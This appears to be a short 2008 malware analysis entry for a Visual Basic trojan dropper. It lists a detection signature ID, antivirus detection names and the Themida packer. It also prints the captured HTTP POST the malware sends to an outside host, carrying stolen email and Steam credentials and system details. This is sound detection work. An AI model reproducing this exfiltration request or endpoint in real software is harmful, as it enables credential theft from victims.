Dropper.Win32.VB.cn
Applies to other similar droppers, but this is the one we saw first posting like this.
Sig
2007987 should cover it.
Virustotal Result
AntiVir TR/Drop.VB.ON.31
Avast Win32:Agent-FLY
AVG Dropper.Generic.TTR
ClamAV PUA.Packed.Themida
F-Prot W32/Heuristic-162!Eldorado
F-Secure SDBot.gen8
Fortinet W32/VB.ON!tr
Ikarus Virus.Win32.Agent.FLY
Kaspersky Trojan-Dropper.Win32.VB.on
Norman SDBot.gen8
Prevx1 Heuristic:Suspicious Code
Sophos Sus/ComPack
TheHacker Trojan/Dropper.VB.on
VBA32 Trojan-Dropper.Win32.VB.on
Webwasher-Gateway Trojan.Drop.VB.ON.31
Packer Themida
Makes a post like so, slightly obfuscated:
POST /admin/upper.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: tzine1993.tz.funpic.de
Content-Length: 2981
Connection: Keep-Alive
Cache-Control: no-cache
post===================================================
Resource Name : IdentitiesPass
Resource Type : Outlook Express Identity
User Name/Value : Main Identity
Password :
==================================================
***************************************************************
***************************************************************
***************************************************************
************************STEAM PASSWORDS************************
Steam Account Reader
http://www.steampowered.com
*** ONLY FOR USE IF YOU'VE FORGOT _YOUR_ STEAM LOGIN ***
[-] Checking for valid files..
[x] Invalid Steam account files.
[x] Invalid Steam account files.
***************************************************************
***************************************************************
***************************************************************
************************INFO ABOUT PC**************************
************************ PC-DRIVES: ***************************
C: FIXED DISK DRIVE
D: CD DRIVE
************************ OTHER PC INFORMATION: ***************************
WLNumDLLsProt=0
USERNAME: xxxx
USERDOMAIN: xxxx
PROCESSOR_IDENTIFIER: x86 Family 6 Model 3 Stepping 3, GenuineIntel
NUMBER_OF_PROCESSORS: 1
OS: Windows_NT
Number of procesor: 1
Processor: 586
Low memory address: 65536
High memory address: 2147418111
Number of mouse buttons: 5
Screen X: 800
Screen Y: 600
Height of windows caption: 26
Width between desktop icons: 75
Maximum width when resizing a window: 612
Is machine is too slow to run windows? 0
C:\Documents and Settings\All Users
C:\Documents and Settings\Default User
C:\Documents and Settings
C:\Documents and Settings\xxxx
ComputerName: xxxx
Windows System directory: C:\WINDOWS\system32
AC power status: OnLine
Battery charge status: No system battery
UserName: xxxx
Temp Path: C:\DOCUME~1\bob1\LOCALS~1\Temp\
OS: Windows NT
Win version: 5.1
Build: 2600
Start menu folder: C:\Documents and Settings\xxxx\Start Menu
Favorites folder: C:\Documents and Settings\xxxx\Favorites
Programs folder: C:\Documents and Settings\xxxx\Start Menu\Programs
Desktop folder: C:\Documents and Settings\xxxx\Desktop
SYSTEMZEIT:
The System Date is:3-11-2008
The System Time is:22:51:35
LOKALZEIT:
The Local Date is:3-11-2008
The Local Time is:18:51:35
2 IP addresses found on PC !!
----------------------------------------
IP address : 192.168.xx.xx
IP Subnetmask : 255.255.255.0
BroadCast IP address : 1.0.0.0
**************************************
IP address : 127.0.0.1
IP Subnetmask : 255.0.0.0
BroadCast IP address : 1.0.0.0
**************************************
Pfad von wo aus die server.exe gestartet wurde: c:\
HTTP/1.1 200 OK
Date: Tue, 11 Mar 2008 17:57:19 GMT
Server: Apache
Content-Length: 0
Keep-Alive: timeout=10, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=ISO-8859-1
Re: 8116f2e3b33c462c18168fb44ca32a97
--
MattJonkman - 12 Mar 2008